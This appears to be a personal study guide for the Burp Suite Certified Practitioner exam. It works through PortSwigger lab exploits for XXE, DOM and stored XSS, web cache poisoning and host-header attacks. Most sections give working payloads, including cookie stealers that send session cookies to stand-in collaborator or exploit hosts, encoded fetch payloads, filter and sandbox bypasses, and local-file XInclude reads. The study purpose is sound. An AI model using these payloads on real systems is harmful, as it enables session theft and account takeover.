Burp Suite Certified Practitioner Exam Study

This is my study notes with over a 110 PortSwigger Academy Labs. I used these labs to pass the Burp Suite Certified Practitioner Exam 2023. My BSCP qualification.
For more informaion go to PortSwigger Academy to get latest learning materials.

SCANNING - Enumeration
Focus Scanning
Scan non-standard entities

FOOTHOLD - Stage 1
Content Discovery
DOM-XSS
XSS Cross Site Scripting
Web Cache Poison
Host Headers
HTTP Request Smuggling
Brute force
Authentication

PRIVILEGE ESCALATION - Stage 2
CSRF - Account Takeover
Password Reset
SQLi - SQL Injection
JWT - JSON Web Tokens
Prototype pollution
API Testing
Access Control
GraphQL API Endpoints
CORS - Cross-origin resource sharing

DATA EXFILTRATION - Stage 3
XXE - XML entities & Injections
SSRF - Server side request forgery
SSTI - Server side template injection
SSPP - Server Side Prototype Pollution
LFI - File path traversal
File Uploads
Deserialization
OS Command Injection

APPENDIX
Python Scripts
Payloads
Word lists
Focus target scanning
Approach
Extra Training Content

My Burp Tips

I can recommend doing as many as possible Mystery lab challenge to test your skills and decrease the time it takes you to identify the vulnerabilities, before taking the exam.
I also found this PortSwigger advice on Retaking your exam very informative.
Watch CryptoCat - Burp Suite Certified Professional (BSCP) Review + Tips/Tricks for fresh view of the BSCP exam in 2024.

Thanks too all for the support by buying me coffee, thanks you so much \o/

My Burp Suite Certified Practitioner certificate.

Scanning

Enumeration of the Web Applications start with initial and directed scanning in time limited engagement.

Focus Scanning
Scan non-standard entities

Focus Scanning

Due to the tight time limit during engagements or exam, scan defined insertion points for specific requests.

Scanner detected XML injection vulnerability on storeId parameter and this lead to reading the secret Carlos file.

<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///home/carlos/secret"/></foo>

Out of band XInclude request, need hosted DTD to read local file.

<hqt xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://OASTIFY.COM/foo"/></hqt>

PortSwigger Lab: Discovering vulnerabilities quickly with targeted scanning

Scanning non-standard data structures

Scanning non-standard data structures using Burp feature to scan selected insertion point for select text in response or requests.

Identify the vulnerability through Burp scanner issue results.
In this case, using the identified XSS, Steal the admin user's cookies by crafting the payload in the identified insertion point.

'"><svg/onload=fetch(`//OASTIFY.COM/${encodeURIComponent(document.cookie)}`)>:CURRENT-USER-LOGIN-COOKIE-2ND-PART

Url encode key characters.

Use the admin user's cookie to access the admin panel by replacing it in the current browser session.

PortSwigger Lab: Scanning non-standard data structures

Foothold

Content Discovery

Enumeration of target start with fuzzing web directories and files. Either use the Burp engagement tools, content discovery option to find hidden paths and files or use FFUF to enumerate web directories and files. Looking at robots.txt or sitemap.xml that can reveal content.

wget https://raw.githubusercontent.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/main/wordlists/burp-labs-wordlist.txt

ffuf -c -w ./burp-labs-wordlist.txt -u https://TARGET.web-security-academy.net/FUZZ

Burp engagement tool, content discovery using my compiled word list burp-labs-wordlist as custom file list.

Examine the git repo branches on local downloaded copy, using git-cola tool. Then select Undo last commit and extract admin password from the diff window.

wget -r https://TARGET.web-security-academy.net/.git/

git-cola --repo 0ad900ad039b4591c0a4f91b00a600e7.web-security-academy.net/

PortSwigger Lab: Information disclosure in version control history

Always open source code to look for any developer comments that reveal hidden files or paths. Below example lead to symphony token deserialization.

DOM-Based XSS

DOM XSS Indicators
DOM XSS Identified with DOM Invader
DOM XSS AngularJS
DOM XSS document.write in select
DOM XSS JSON.parse web messages
DOM XSS AddEventListener JavaScript URL
DOM XSS AddEventListener Ads Message
DOM XSS Eval Reflected Cookie Stealer
DOM XSS LastviewedProduct Cookie

Identify DOM-XSS

DOM-based XSS vulnerabilities arise when JavaScript takes data from an attacker-controllable source, such as the URL, and passes code to a sink that supports dynamic code execution. Test which characters enable the escaping out of the source code injection point, by using the fuzzer string below.

<>\'\"<script>{{7*7}}$(alert(1)}"-prompt(69)-"fuzzer

Review the source code to identify the sources , sinks or methods that may lead to exploit, list of samples:

document.write()
window.location
document.cookie
eval()
document.domain
WebSocket()
element.src
postMessage()
setRequestHeader()
FileReader.readAsText()
ExecuteSql()
sessionStorage.setItem()
document.evaluate()
JSON.parse
ng-app
URLSearchParams
replace()
innerHTML
location.search
addEventListener
sanitizeKey()

Dom Invader

Using Dom Invader plug-in and set the canary to value, such as domxss, it will detect DOM-XSS sinks that can be exploit.

Vulnerable AngularJS

AngularJS expression below can be injected into the search function when angle brackets and double quotes HTML-encoded. The vulnerability is identified by noticing the search string is enclosed in an ng-app directive and /js/angular 1-7-7.js script included. Review the HTML code to identify the ng-app directive telling AngularJS that this is the root element of the AngularJS application.

PortSwigger lab payload below:

{{$on.constructor('alert(1)')()}}

Cookie stealer payload using on.constructor that can be placed in iframe, hosted on an exploit server, resulting in the victim session cookie being send to Burp Collaborator.
PortSwigger cheat sheet for cross site scripting reference

{{$on.constructor('document.location="https://OASTIFY.COM?c="+document.cookie')()}}

Note: The session cookie property must not have the HttpOnly secure flag set in order for XSS to succeed.

PortSwigger Lab: DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded

z3nsh3ll give an amazingly detail understanding on the constructor vulnerability in this lab on YouTube

Doc Write Location search

The target is vulnerable to DOM-XSS in the stock check function. source code reveal document.write is the sink used with location.search allowing us to add storeId query parameter with a value containing the JavaScript payload inside a <select> statement.

Perform a test using below payload to identify the injection into the modified GET request, using "> to escape.

/product?productId=1&storeId=fuzzer"></select>fuzzer

DOM XSS cookie stealer payload in a document.write sink using source location.search inside a <select> element. This can be send to victim via exploit server in <iframe>. To test the cookie stealer payload I again on my browser in console added a test POC cookie to test sending it to Collaborator.

"></select><script>document.location='https://OASTIFY.COM/?domxss='+document.cookie</script>//

PortSwigger Lab: DOM XSS in document.write sink using source location.search inside a select element

DOM XSS JSON.parse web messages

Target use web messaging and parses the message as JSON. Exploiting the vulnerability by constructing an HTML page on the exploit server that exploits DOM XSS vulnerability and steal victim cookie.

The vulnerable JavaScript code on the target using event listener that listens for a web message. This event listener expects a string that is parsed using JSON.parse(). In the JavaScript below, we can see that the event listener expects a type property and that the load-channel case of the switch statement changes the img src attribute.

Identify web messages on target that is using postmessage() with DOM Invader.

<script>
	window.addEventListener('message', function(e) {
		var img = document.createElement('img'), ACMEplayer = {element: img}, d;
		document.body.appendChild(img);
		try {
			d = JSON.parse(e.data);
		} catch(e) {
			return;
		}
		switch(d.type) {
			case "page-load":
				ACMEplayer.element.scrollIntoView();
				break;
			case "load-channel":
				ACMEplayer.element.src = d.url;
				break;
			case "player-height-changed":
				ACMEplayer.element.style.width = d.width + "px";
				ACMEplayer.element.style.height = d.height + "px";
				break;
			case "redirect":
				window.location.replace(d.redirectUrl);
				break;
		}
	}, false);
</script>

To exploit the above source code, inject JavaScript into the JSON data to change "load-channel" field data and steal document cookie.

Host an iframe on the exploit server html body, and send it to the victim, resulting in the stealing of their cookie. The victim cookie is send to the Burp collaboration server.

<iframe src=https://TARGET.net/ onload='this.contentWindow.postMessage(JSON.stringify({
    "type": "load-channel",
    "url": "JavaScript:document.location='https://OASTIFY.COM?c='+document.cookie"
}), "*");'>

At the end of the iframe onload values is a "*", this is to indicate the target is any.

PortSwigger Lab: DOM XSS using web messages and JSON.parse

Replay the post message using DOM Invader after altering the JSON data.

{
    "type": "load-channel",
    "url": "JavaScript:document.location='https://OASTIFY.COM?c='+document.cookie"
}

PortSwigger: Identify DOM XSS using PortSwigger DOM Invader

DOM XSS AddEventListener JavaScript URL

Reviewing the page source code we identify the addeventlistener call for a web message but there is an if condition checking if the string contains http/s.

The exploit server hosted payload below includes the https string, and is successful in bypassing the if condition check.

<iframe src="https://TARGET.net/" onload="this.contentWindow.postMessage('javascript:document.location=`https://OASTIFY.COM?c=`+document.cookie','*')">

PortSwigger Lab: DOM XSS using web messages and a JavaScript URL

DOM XSS AddEventListener Ads Message

In the source code we identify the call using addEventListener and an element id ads being referenced.

The fetch function enclose the collaborator target inside back ticks, and when the iframe loads on the victim browser, the postMessage() method sends a web message to their home page.

<iframe src="https://TARGET.net/" onload="this.contentWindow.postMessage('<img src=1 onerror=fetch(`https://OASTIFY.COM?collector=`+btoa(document.cookie))>','*')">

Replacing the Burp Lab payload print() with fetch() in the above code allow attacker to steal the victim session cookie.

PortSwigger Lab: DOM XSS using web messages

Reflected DOM XSS

In the Search function a Reflected DOM-XSS vulnerability is identified using DOM Invader as being inside an eval() function.

Identify that the search JavaScript source code on the target, the string is reflected in a JSON response called search-results. From the Site Map, open the searchResults.js file and notice that the JSON response is used with an eval() function call.

Testing \"-alert(1)}// payload we successfully escape the eval(). The attacker then craft an exploit phishing link to the victim with a cookie stealing payload hosted on exploit server.
Above payload validate that the backslash \ is not sanitized, and the JSON data is then send to eval(). Backslash is not escaped correctly and when the JSON response attempts to escape the opening double-quotes character, it adds a second backslash. The resulting double-backslash causes the escaping to be effectively cancelled out.

\"-fetch('https://OASTIFY.COM?reflects='+document.cookie)}//

In the above payload every character is URL encoded and used as the search parameter value. This target do not have an exploit server, so I hosted my own python3 -m http.server 80 web service and save the index.html file that contain the location target URL between <script> tags.

In the image above, I create insecure POC cookie value in my browser before simulating a victim user clicking on http://localhost/index.html link, same as Burp Exploit server, that is the same as the Deliver exploit to victim function.

PortSwigger Lab: Reflected DOM XSS

DOM-XSS LastviewedProduct Cookie

Identify the cookie lastViewedProduct is set to the last URL visited under the product page. In the source code we identify the injection script tags where window.location is set.

Testing the escape out of of the script string for the value of document.location using /product?productId=1&'>fuzzer. Note that document.location value cannot be URL encoded.

<iframe src="https://TARGET.net/product?productId=1&'><script>print()</script>" onload="if(!window.x)this.src='https://TARGET.net';window.x=1;">

I am unable to get a working cookie stealer payload for this vulnerable lab.......

PortSwigger Lab: DOM-based cookie manipulation

XSS Resources

XSS Resources pages to lookup payloads for tags and events.

CSP Evaluator tool to check if content security policy is in place to mitigate XSS attacks. Example is if the base-uri is missing, this vulnerability will allow attacker to use the alternative exploit method described at Upgrade stored self-XSS.

CSP Evaluator

When input field maximum length is at only 23 character in length then use this resource for Tiny XSS Payloads.

Tiny XSS Payloads

Set a unsecured test cookie in browser using browser DEV tools console to use during tests for POC XSS cookie stealer payloads.

document.cookie = "TopSecret=UnsecureCookieValue4Peanut2019";

Identify allowed Tags

Basic XSS Payloads to identify application security filter controls for handling data received in HTTP request.

<img src=1 onerror=alert(1)>

"><svg><animatetransform onbegin=alert(1)>

<>\'\"<script>{{7*7}}$(alert(1)}"-prompt(69)-"fuzzer

Submitting the above payloads may give response message, "Tag is not allowed" due to Web Application Firewall (WAF) blocking injections. Then identify allowed tags using PortSwigger Academy Methodology.

URL and Base64 online encoders and decoders

This lab gives great Methodology to identify allowed HTML tags and events for crafting POC XSS.

Host iframe code on exploit server and deliver exploit link to victim.

<iframe src="https://TARGET.net/?search=%22%3E%3Cbody%20onpopstate=print()%3E">

PortSwigger Lab: Reflected XSS into HTML context with most tags and attributes blocked

In below sample the tag Body and event onresize is the only allowed, providing an injection to perform XSS.

?search=%22%3E%3Cbody%20onresize=print()%3E" onload=this.style.width='100px'>

This example show the Body and event onpopstate is not blocked.

?search=%22%3E%3Cbody%20onpopstate=print()>

PortSwigger Cheat-sheet XSS Example: onpopstate event

Below JavaScript is hosted on exploit server and then deliver to victim. The code is an iframe doing onload and the search parameter is vulnerable to onpopstate.

<iframe onload="if(!window.flag){this.contentWindow.location='https://TARGET.net?search=<body onpopstate=document.location=`http://OASTIFY.COM/?`+document.cookie>#';flag=1}" src="https://TARGET.net?search=<body onpopstate=document.location=`http://OASTIFY.COM/?`+document.cookie>"></iframe>

Bypass Blocked Tags

Application controls give message, "Tag is not allowed" when inserting basic XSS payloads, but discover SVG mark-up allowed using above methodology. This payload steal my own session cookie as POC.

https://TARGET.net/?search=%22%3E%3Csvg%3E%3Canimatetransform%20onbegin%3Ddocument.location%3D%27https%3A%2F%2FOASTIFY.COM%2F%3Fcookies%3D%27%2Bdocument.cookie%3B%3E

Place the above payload on exploit server and insert URL with search value into an iframe before delivering to victim in below code block.

<iframe src="https://TARGET.net/?search=%22%3E%3Csvg%3E%3Canimatetransform%20onbegin%3Ddocument.location%3D%27https%3A%2F%2FOASTIFY.COM%2F%3Fcookies%3D%27%2Bdocument.cookie%3B%3E">
</iframe>

PortSwigger Lab: Reflected XSS with some SVG markup allowed

XSS Assign protocol

Lab to test XSS into HTML context with nothing encoded in search function. Using this lab to test the Assignable protocol with location javascript exploit identified by PortSwigger XSS research. In the payload is the %0a representing the ASCII newline character.

<script>location.protocol='javascript';</script>#%0adocument.location='http://OASTIFY.COM/?p='+document.cookie//&context=html

PortSwigger Lab: Reflected XSS into HTML context with nothing encoded

Custom Tags not Blocked

Application respond with message "Tag is not allowed" when attempting to insert XSS payloads, but if we create a custom tag it is bypassed.

<xss+id=x>#x';

Identify if above custom tag is not block in search function, by observing the response. Create below payload to steal session cookie out-of-band.

<script>
location = 'https://TARGET.net/?search=<xss+id=x+onfocus=document.location='https://OASTIFY.COM/?c='+document.cookie tabindex=1>#x';
</script>

Note: The custom tag with the ID x, which contains an onfocus event handler that triggers the document.location function. The HASH # character at the end of the URL focuses on this element as soon as the page is loaded, causing the payload to be called. Host the payload script on the exploit server in script tags, and send to victim. Below is the same payload but URL-encoded format.

<script>
location = 'https://TARGET.net/?search=%3Cxss+id%3Dx+onfocus%3Ddocument.location%3D%27https%3A%2F%2FOASTIFY.COM%2F%3Fc%3D%27%2Bdocument.cookie%20tabindex=1%3E#x';
</script>

PortSwigger Lab: Reflected XSS into HTML context with all tags blocked except custom ones

z3nsh3ll - explaining custom tags for XSS attacks

OnHashChange

Below iframe uses HASH # character at end of the URL to trigger the OnHashChange XSS cookie stealer.

<iframe src="https://TARGET.net/#" onload="document.location='http://OASTIFY.COM/?cookies='+document.cookie"></iframe>

Note if the cookie is secure with HttpOnly flag set enabled, the cookie cannot be stolen using XSS.

PortSwigger Lab payload perform print.

<iframe src="https://TARGET.net/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>

Note: Identify the vulnerable jquery 1.8.2 version included in the source code with the CSS selector action a the hashchange.

PortSwigger Lab: DOM XSS in jQuery selector sink using a hashchange event

Crypto-Cat: DOM XSS in jQuery selector sink using a hashchange event

Reflected String XSS

Submitting a search string and reviewing the source code of the search result page, the JavaScript string variable is identified to reflect the search string tracker.gif in the source code with a variable named searchTerms.

<section class=blog-header>
	<h1>0 search results for 'fuzzer'</h1>
	<hr>
</section>
<section class=search>
	<form action=/ method=GET>
		<input type=text placeholder='Search the blog...' name=term>
		<button type=submit class=button>Search</button>
    </form>
    </section>
	<script>
    var searchTerms = 'fuzzer';
    document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>

Using a payload test'payload and observe that a single quote gets backslash-escaped, preventing breaking out of the string.

</script><script>alert(1)</script>

Changing the payload to a cookie stealer that deliver the session token to Burp Collaborator.

</script><script>document.location="https://OASTIFY.COM/?cookie="+document.cookie</script>

When placing this payload in iframe, the target application do not allow it to be embedded and give message: refused to connect.

PortSwigger Lab: Reflected XSS into a JavaScript string with single quote and backslash escaped

In BSCP exam host the below payload on exploit server inside <script> tags, and the search query below before it is URL encoded.

</ScRiPt ><img src=a onerror=document.location="https://OASTIFY.COM/?biscuit="+document.cookie>

Exploit Server hosting search term reflected vulnerability that is send to victim to obtain their session cookie.

<script>
location = "https://TARGET.net/?search=%3C%2FScRiPt+%3E%3Cimg+src%3Da+onerror%3Ddocument.location%3D%22https%3A%2F%2FOASTIFY.COM%2F%3Fbiscuit%3D%22%2Bdocument.cookie%3E"
</script>

The application gave error message Tag is not allowed, and this is bypassed using this </ScRiPt >.

Reflected String Extra Escape

See in source code the variable named searchTerms, and when submitting payload fuzzer'payload, see the single quote is backslash escaped, and then send a fuzzer\payload payload and identify that the backslash is not escaped.

\'-alert(1)//  

fuzzer\';console.log(12345);//  

fuzzer\';alert(`Testing The backtick a typographical mark used mainly in computing`);//

Using a single backslash, single quote and semicolon we escape out of the JavaScript string variable, then using back ticks to enclose the document.location path, allow for the cookie stealer to bypass application protection.

\';document.location=`https://OASTIFY.COM/?BackTicks=`+document.cookie;//

With help from Trevor I made this into cookie stealer payload, using back ticks. Thanks Trevor, here is his Youtube walk through XSS JavaScript String Angle Brackets Double Quotes Encoded Single

PortSwigger Lab: Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped

AngularJS Sandbox Escape

Expert PortSwigger Lab exercise using AngularJS 1.4.4 and versions 1.x has reached end of life and is no longer maintained.
This lab uses AngularJS in an unusual way where the $eval function is not available and you will be unable to use any strings in AngularJS.
Objective, perform a cross-site scripting attack that escapes the sandbox and executes the payload without using the $eval function.

z3nsh3ll - YouTube Video give a great explanation of this Reflected XSS with AngularJS Sandbox Escape Without Strings

Identify the angular.module in JavaScript source code:

The key variable value search is injected into the JavaScript created dynamically.
No obvious security issue present here. However, the security of this code depends on how this controller and the extracted values are used in the back-end.

The $parse method evaluates the AngularJS expression $scope.query.

Using the & to add second key value pair to test payload dynamic code generated.

Changing the second added key value name to expression to determine if evaluated, /?search=key1value&7*7=payload and math result is 49.

Constructing a payload fails when using alert() as the second key name in how angularJS compile the code through the parser.

AngulaJS sandbox - See PortSwigger Client-Side template injection documents

PortSwigger CheatSheet Reference Sandbox 1.4.4 escape

1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1

Collaborator payload cookie stealer:

x=fetch('https://m9w8haeauh0frftrtjdvexkyrpxgl69v.oastify.com/?z='+document.cookie)

The ASCII decimal values for each character in the above payload string, separated by commas. Each number represents the ASCII decimal value of the corresponding character in the payload string.

120,61,102,101,116,99,104,40,39,104,116,116,112,115,58,47,47,103,112,57,111,49,56,57,51,106,97,107,49,100,122,101,55,117,116,118,50,114,107,118,114,48,105,54,57,117,122,105,111,46,111,97,115,116,105,102,121,46,99,111,109,47,63,122,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41

Python script to convert any payload to ASCIII decimal values:

import sys

print('Python String to ASCII Converter!')
if len(sys.argv) != 2:
    print("Usage: Python ascii_converter.py 'Payload_String'")
    sys.exit(1)

input_string = sys.argv[1]
ascii_values = [str(ord(char)) for char in input_string]

output = ",".join(ascii_values)
print(output)
print('PortSwigger Expert Academy Labs!')

Cookie Stealer Payload in ASCII decimal value AngularJS expression run through sandbox, from the PortSwigger solution steps:

The exploit uses toString() to create a string without using quotes.
Then gets the String prototype and overwrites the charAt function for every string.
This breaks the AngularJS sandbox. allow an array passed to the orderBy filter.
Set the argument for the filter by again using toString() to create a string and the String constructor property.
Finally, use the fromCharCode method generate our payload by converting character codes into the payload example x=alert(1).
The charAt function has been overwritten, AngularJS will allow this code to escape the Sandbox.

PortSwigger Expert Lab: Reflected XSS with AngularJS sandbox escape without strings

XSS Template Literal

JavaScript template literal is identified by the back ticks ` used to contain the string. On the target code we identify the search string is reflected inside a template literal string.

${alert(document.cookie)}

I fail to get a working cookie stealer bypassing all the filters for this lab......

PortSwigger Lab: Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped

XSS via JSON into EVAL

This PortSwigger Practice Exam APP is performing search function and the DOM Invader identify the sink in an eval() function. The search results are placed into JSON content type.

Test escape out of the JSON data and inject test payload "-prompt(321)-" into the JSON content.

Attempting to get our own session cookie value with payload of "-alert(document.cookie)-" and filter message is returned stating "Potentially dangerous search term".

WAF is preventing dangerous search filters and tags, then we bypass WAF filters using JavaScript global variables.

"-alert(window["document"]["cookie"])-"
"-window["alert"](window["document"]["cookie"])-"
"-self["alert"](self["document"]["cookie"])-"

secjuice: Bypass XSS filters using JavaScript global variables

Below is the main cookie stealer payload before BASE 64 encoding it.

fetch(`https://OASTIFY.COM/?jsonc=` + window["document"]["cookie"])

Next is encode payload using Base64 encoded value of the above cookie stealer payload.

ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ==

Test payload on our own session cookie in Search function.

"-eval(atob("ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ=="))-"

Unpacking above payload assembly stages:

Using the eval() method evaluates or executes an argument.
Using atob() or btoa() is function used for encoding to and from base64 format strings.
If eval() being blocked then Alternatives:
- setTimeout("code")
- setInterval("code)
- setImmediate("code")
- Function("code")()

This image shows Burp Collaborator receiving the my cookie value as proof of concept before setting up payload to Deliver exploit to victim.

URL Encode all characters in this payload and use as the value of the /?SearchTerm= parameter.

"-eval(atob("ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ=="))-"

Hosting the IFRAME on exploit server, give a error message refused to connect to target. Instead host the payload on exploit server between <script> tags.

<script>
location = "https://TARGET.net/?SearchTerm=%22%2d%65%76%61%6c%28%61%74%6f%62%28%22%5a%6d%56%30%59%32%67%6f%59%47%68%30%64%48%42%7a%4f%69%38%76%4e%48%6f%30%59%57%64%6c%4d%48%6c%77%59%6a%56%33%62%32%49%35%63%44%59%78%65%58%42%77%64%54%45%7a%64%6e%55%78%62%48%42%69%5a%44%41%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%30%76%50%32%70%7a%62%32%35%6a%50%57%41%67%4b%79%42%33%61%57%35%6b%62%33%64%62%49%6d%52%76%59%33%56%74%5a%57%35%30%49%6c%31%62%49%6d%4e%76%62%32%74%70%5a%53%4a%64%4b%51%3d%3d%22%29%29%2d%22"
</script>

NOTE: Deliver exploit to victim few times if the active user do not send HTTP request to collaborator. Replace the current cookie value with the stolen cookie to impersonate the active user and move on to Stage 2 of the Practice Exam.

PortSwigger Practice Exam - Stage 1 - Foothold

Stored XSS

Use the following sample code to identify stored XSS. If stored input is redirecting victim that click on the links, it send request to exploit server.

<img src="https://EXPLOIT.net/img">
<script src="https://EXPLOIT.net/script"></script>
<video src="https://EXPLOIT.net/video"></video>

Below log entries show the requests made to the exploit server, and from the logs we can identify that /img and /video of the above tags were allowed on the application and made requests when accessed.

Cross site Scripting saved in Blog post comment. This Cookie Stealer payload then send the victim session cookie to the exploit server logs.

<img src="1" onerror="window.location='https://exploit.net/cookie='+document.cookie">

Product and Store lookup

?productId=1&storeId="></select><img src=x onerror=this.src='https://exploit.net/?'+document.cookie;>

Stored XSS Blog Post

Stored XSS Blog post cookie stealer sending document cookie to exploit server.

<script>
document.write('<img src="https://exploit.net?cookieStealer='+document.cookie+'" />');
</script>

Below target has a stored XSS vulnerability in the blog comments function. Steal a victim user session cookie that views the comments after they are posted, and then use their cookie to do impersonation.

Fetch API JavaScript Cookie Stealer payload in Blog post comment.

<script>
fetch('https://exploit.net', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>

IPPSEC YouTube using the HackTheBox Bookworm, showing payload.js JavaScript code how he using fetch and learning JavaScript.

PortSwigger Lab: Exploiting cross-site scripting to steal cookies

Upgrade stored self-XSS

Blog comment with Stored self-XSS, upgrading the payload to steal victim information from DOM. The function edit content reflect the input in the <script> tag. The CSRF token for the write comment is same as the edit content functions. Below payload use write comment function to make the victim create a blog entry on their on blog with our malicious content. The a character is added to escape the # hash character from the initial application source code. The below source code in the blog entry is full exploit to steal victim info.

<button form=comment-form formaction="/edit" id=share-button>Click Button</button>
<input form=comment-form name=content value='<meta http-equiv="refresh" content="1; URL=/edit" />'>
<input form=comment-form name=tags value='a");alert(document.getElementsByClassName("navbar-brand")[0].innerText)//'>

This target is exploited by constructing an HTML injection that clobbers a variable named share_button, see source code below and uses HTML code above. The content is reflected on the page, then using this reflection enable page redirection to victim /edit page with the use of the meta http-equiv tag to refresh page after 1 second result in redirection.

https://challenge-1222.intigriti.io/blog/unique-guid-value-abc123?share=1

Deliver Exploit, by Sending url that reference the above blog entry to the victim will trigger XSS as them.

intigriti - Self-XSS upgrade - Solution to December 22 XSS Challenge

Alternative exploit using HTML injection in the Edit Content blog entry page, identified using XSS Resources CSP check.

<base href="https://Exploit.net">

Host JS file on Exploit server as static/js/bootstrap.bundle.min.js, with content:

alert(document.getElementsByClassName("navbar-brand")[0].innerText)

The modified PortSwigger lab payload assign the document.location function to the variable defaultAvatar next time page is loaded, because site uses DOMPurify that allows the use of cid: protocol that do not URLencode double quotes.

<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=document.location=`https://OASTIFY.COM/?clobber=`+document.cookie//">

PortSwigger Lab: Exploiting DOM clobbering to enable XSS

Stored DOM XSS

In the JavaScript source code, included script resources/js/loadCommentsWithVulnerableEscapeHtml.js we identify the html.replace() function inside the custom loadComments function. Testing payloads we see the function only replaces the first occurrence of <>.

<><img src=1 onerror=javascript:fetch(`https://OASTIFY.COM?escape=`+document.cookie)>

Above payload is stored and any user visiting the comment blog will result in their session cookie being stolen and send to collaborator.

PortSwigger Lab payload: <><img src=1 onerror=alert()>.

PortSwigger Lab: Stored DOM XSS

Web Cache Poison

Unkeyed header
Unkeyed Utm_content
Cloaking utm_content
Poison ambiguous request
Cache Poison multiple headers

Unkeyed header

Target use tracking.js JavaScript, and is vulnerable to X-Forwarded-Host or X-Host header redirecting path, allowing the stealing of cookie by poisoning cache. Identify the web cache headers in response and the tracking.js script in the page source code. Exploit the vulnerability by hosting JavaScript and injecting the header to poison the cache of the target to redirect a victim visiting.

X-Forwarded-Host: EXPLOIT.net
X-Host: EXPLOIT.net

Hosting on the exploit server, injecting the X-Forwarded-Host header in request, and poison the cache until victim hits poison cache.

/resources/js/tracking.js

Body send session cookie to collaboration service.

document.location='https://OASTIFY.COM/?cookies='+document.cookie;

Keep Poisoning the web cache of target by resending request with X-Forwarded-Host header.

PortSwigger Lab: Web cache poisoning with an unkeyed header

Youtube video showing above lab payload on exploit server modified to steal victim cookie when victim hits a cached entry on back-end server. The payload is the above JavaScript.

YouTube: Web cache poisoning with unkeyed header - cookie stealer

Param Miner Extension to identify web cache vulnerabilities

Unkeyed utm_content

Target is vulnerable to web cache poisoning because it excludes a certain parameter from the cache key. Param Miner's "Guess GET parameters" feature will identify the parameter as utm_content.

GET /?utm_content='/><script>document.location="https://OASTIFY.COM?c="+document.cookie</script>

Above payload is cached and the victim visiting target cookie send to Burp collaborator.

PortSwigger Lab: Web cache poisoning via an unkeyed query parameter

Cloaking utm_content

Param Miner extension doing a Bulk scan > Rails parameter cloaking scan will identify the vulnerability automatically. Manually it can be identified by adding ; to append another parameter to utm_content, the cache treats this as a single parameter. This means that the extra parameter is also excluded from the cache key.
The source code for /js/geolocate.js?callback=setCountryCookie is called on every page and execute callback function.

The callback parameter is keyed, and thus cannot poison cache for victim user, but by combine duplicate parameter with utm_content it then excluded and cache can be poisoned.

GET /js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=EVILFunction

Cache Cloaking Cookie Capturing payload below, keep poising cache until victim hits stored cache.

GET /js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=document.location='https://OASTIFY.COM?nuts='%2bdocument.cookie%3b HTTP/2

Below is Url Decoded payload.

GET/js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=document.location='https://OASTIFY.COM?nuts='+document.cookie; HTTP/2

PortSwigger Lab: Parameter cloaking

Poison ambiguous request

Adding a second Host header with an exploit server, this identify a ambiguous cache vulnerability and routing your request. Notice that the exploit server in second Host header is reflected in an absolute URL used to import a script from /resources/js/tracking.js.

Host: TARGET.net
Host: exploit.net

On the exploit server set a file as same path target calls to /resources/js/tracking.js, this will contain the payload. Place the JavaScript payload code below to perform a cookie stealer.

document.location='https://OASTIFY.COM/?CacheCookies='+document.cookie;

PortSwigger Lab: Web cache poisoning via ambiguous requests

Cache Poison multiple headers

Identify that cache hit headers in responses, then test if the target support X-Forwarded-Host or X-Forwarded-Scheme headers. These headers can allow for the stealing of victim session cookie.

Identify if adding the two Forwarded headers to the GET /resources/js/tracking.js request, result in a change to the location response header. This identify positive poisoning of the cache with multiple headers.

GET /resources/js/tracking.js?cb=123 HTTP/2
Host: TARGET.net
X-Forwarded-Host: EXPLOIT.net
X-Forwarded-Scheme: nothttps

On the exploit server change the file path to /resources/js/tracking.js and the update the poison request X-Forwarded-Host: EXPLOIT.net header. Place the payload on exploit server body.

document.location='https://OASTIFY.COM/?poisoncache='+document.cookie;

Remove the cb=123 cache buster, and then poison the cache until the victim is redirected to the exploit server payload tracking.js to steal session cookie.

PortSwigger Lab: Web cache poisoning with multiple headers

Duplicate Parameter Fat Poison

Identify that the application is vulnerable to duplicate parameter poisoning, by adding a second parameter with same name and different value the response reflected the injected value.

GET /js/geolocate.js?callback=setCountryCookie&callback=FUZZERFunction; HTTP/2

The function that is called in the response by passing in a duplicate callback parameter is reflected. Notice in response the cache key is still derived from the original callback parameter in the GET request line.

Not able to make cookie stealer payload working......

PortSwigger Lab: Web cache poisoning via a fat GET request

Host Headers

Spoof IP Address
HOST Connection State
Host Routing based SSRF
SSRF via flawed Host request parsing

Spoof IP Address

Identify that altered HOST headers are supported, which allows you to spoof your IP address and bypass the IP-based brute-force protection or redirection attacks to do password reset poisoning.

Include the below X- headers and change the username parameter on the password reset request to Carlos before sending the request.
In the BSCP exam if you used this exploit then it means you have not used a vulnerability that require user interaction and allow you to use an interaction vulnerability to gain access to stage 3 as admin by using exploit server Deliver exploit to victim function.

